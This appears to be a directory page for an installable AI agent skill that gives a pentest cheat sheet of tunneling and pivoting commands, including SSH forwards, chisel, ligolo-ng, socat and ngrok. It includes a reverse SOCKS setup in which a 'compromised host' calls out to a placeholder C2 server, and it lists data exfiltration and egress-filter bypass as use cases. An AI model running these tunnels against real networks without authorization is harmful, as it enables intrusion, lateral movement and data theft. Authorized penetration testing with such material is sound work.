# Port Redirection Tunneling

> Use when tunneling and redirecting network traffic.

- Skill: `loopyluci/port-redirection-tunneling` (Agent Skill)
- Install (CLI): `npx skillmds@latest add loopyluci/port-redirection-tunneling`
- Raw SKILL.md: https://api.skillmd.com/api/skills/loopyluci/port-redirection-tunneling/raw
- Safety review: pending (external: skill-scanner PASS, skillspector PASS)
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: MIT
- Author: LoopyLuci (https://skillmd.com/u/loopyluci)
- Updated: 2026-09-08
- Page: https://skillmd.com/skills/loopyluci/port-redirection-tunneling

---


# Port Redirection and Tunneling

Tunneling and redirecting network traffic during pentests — from SSH tunneling and SOCKS proxies through Chisel, Ligolo, and HTTP/HTTPS tunneling.

## When to Use

- Exfiltrating data through firewalls
- Pivoting to restricted network segments
- Bypassing network segmentation and egress filtering
- Creating reverse shells through NAT
- Tunneling non-HTTP protocols through HTTP

## Tunneling Tools

```python
TUNNELING_METHODS = {
    'ssh_local': "ssh -L 8080:internal:80 jumpbox — forward internal port to local",
    'ssh_remote': "ssh -R 8080:localhost:80 server — expose local service externally",
    'ssh_dynamic': "ssh -D 9050 jumpbox — SOCKS5 proxy through jumpbox",
    'ssh_proxyjump': "ssh -J jumpbox1,jumpbox2 target — multi-hop SSH",
    'chisel': "client: chisel client server:8080 R:socks, server: chisel server -p 8080 --reverse",
    'ligolo': "ng: ligolo-ng -selfcert, proxy: ligolo-ng-proxy -selfcert -laddr 0.0.0.0:11601",
    'plink': "Windows: plink.exe -R 8080:localhost:80 user@server",
    'socat': "socat TCP-LISTEN:8080,fork TCP:internal-server:80",
    'ngrok': "ngrok tcp 3389 — public URL to local RDP (legit testing only)",
}

# Chisel reverse SOCKS
CHISEL_SETUP = """
# On C2 server:
chisel server -p 8080 --reverse

# On compromised host:
chisel client C2_SERVER:8080 R:socks

# Use proxychains:
proxychains nmap -sT -p 80,443 internal-target
"""
```

## Verification Checklist

- [ ] Tunneling method chosen based on network restrictions (SSH, Chisel, Ligolo, SOCAT)
- [ ] Egress filtering tested (which ports/protocols can reach external)
- [ ] Reverse tunnel established from internal host
- [ ] SOCKS proxy working (proxychains or browser configuration)
- [ ] Port forwarding tested (local, remote, dynamic)
- [ ] Multi-hop tunneling through multiple jump hosts
- [ ] DNS tunneling considered (iodine, dnscat2) if all ports blocked
- [ ] HTTP/HTTPS tunnel (Chisel, reGeorg) if only web allowed
- [ ] Tunnel stability tested (connection drops, reconnect logic)